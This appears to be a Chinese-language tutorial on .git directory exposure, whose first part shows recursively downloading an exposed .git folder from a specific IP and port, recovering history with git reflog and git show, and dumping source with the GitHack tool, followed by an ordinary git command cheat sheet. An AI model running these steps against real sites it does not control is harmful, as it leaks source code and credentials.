網(wǎng)站關鍵字統(tǒng)計seo數(shù)據(jù)優(yōu)化
一、git信息泄露
解釋:Git信息泄露是指通過公開或錯誤地配置版本控制系統(tǒng)Git,導致敏感數(shù)據(jù)(例如API密鑰、數(shù)據(jù)庫密碼、個人信息等)被泄露到公共代碼倉庫或其他未授權的訪問者手中。通俗來說,在公網(wǎng)暴露類似http://127.0.0.1/.git/
(將.git目錄直接被人訪問)將會導致源碼被人下載查看到
二、git敏感操作
- 下載對方git:
wget -r http://114.67.175.224:15402/.git/
(先進入下載到文件的目錄然后ls -al才能看到目錄下面多了個.git目錄) - 查看提交歷史記錄:
git reflog
- 查看某次提交的細節(jié)信息:
git show d256328
(d256328就是git reflog第一列的內(nèi)容)
三、直接下載源代碼
解釋:利用github上面提供的代碼,執(zhí)行后即可下載上源文件
- 下載:
git clone https://github.com/lijiejie/GitHack.git
- 找到GitHack.py使用下載命令:
python GitHack.py http://127.0.0.1/.git/
四、git基本操作
1.初始
- 初始化:
git init
- 添加到暫存區(qū):
git add . #'.'表示所有
- 提交到歷史區(qū):
git commit -m 'first' #-m:message
- 添加與刪除遠程倉庫地址
git remote add 自定義名字 地址
git remote rm 自定義名字
- 提交到遠端倉庫:
git push -u 自定義添加過的遠程倉庫名 分支名字 #跟上面添加內(nèi)容有關
2.維護
2.1 暫存區(qū)維護
- 查詢添加到暫存區(qū)的內(nèi)容:
git status
- 刪除添加到暫存區(qū)的文件:
git rm --cached 文件名
2.2 工作區(qū)維護
- 查詢工作區(qū)提交記錄:
git log --oneline #可來查看唯一版本號;
- 查詢歷史提交記錄(包括回滾的都可以恢復):
git reflog
- 撤回到版本號:
git reset
3.1 --hardgit reset --hard 版本號 #使得暫存區(qū)和工作區(qū)都恢復到目標版本
3.2 --mixedgit reset --mixed 版本號 #使得暫存區(qū)恢復到目標版本
3.3 --softgit reset --soft 版本號 #只刪除commit歷史,不改變暫存區(qū)和工作區(qū)
- 切換版本號:
git check HEAD^ #此為上一個版本,可自行復制版本號,此可切換到臨時分支
4.1 保存到分支:git branch 新分支 臨時分支名 #這樣是因為臨時分支不會被記住,不能保存
3.分支操作
- 創(chuàng)建:
git branch 名字(創(chuàng)建但沒有切換過去)
- 切換分支:
git checkout 分支名字
- 合并分支:
git merge 分支名字
- 刪除分支:
git branch -d 分支名字
4.下載操作
代碼:git clone 地址
5.設置與刪除代理
- 全局:
git config --global http.proxy http://127.0.0.1:10809
- 指定:
git config --global http.https://gitee.com.proxy http://127.0.0.1:1081#指定對碼云這個網(wǎng)站(全局)
- 刪除:
git config --global --unset 內(nèi)容(用git config -l查看,找到代理等號前面的內(nèi)容)
6.輔助信息
- 查看分支:
git branch
- 查看提交到歷史區(qū)的詳細:
git log
- 查看目錄與暫存區(qū)的區(qū)別:
git status
- 顯示已寫入緩存與已修改但尚未寫入緩存的改動的區(qū)別:
git diff
- 列出添加的遠端倉庫名字:
git remote -v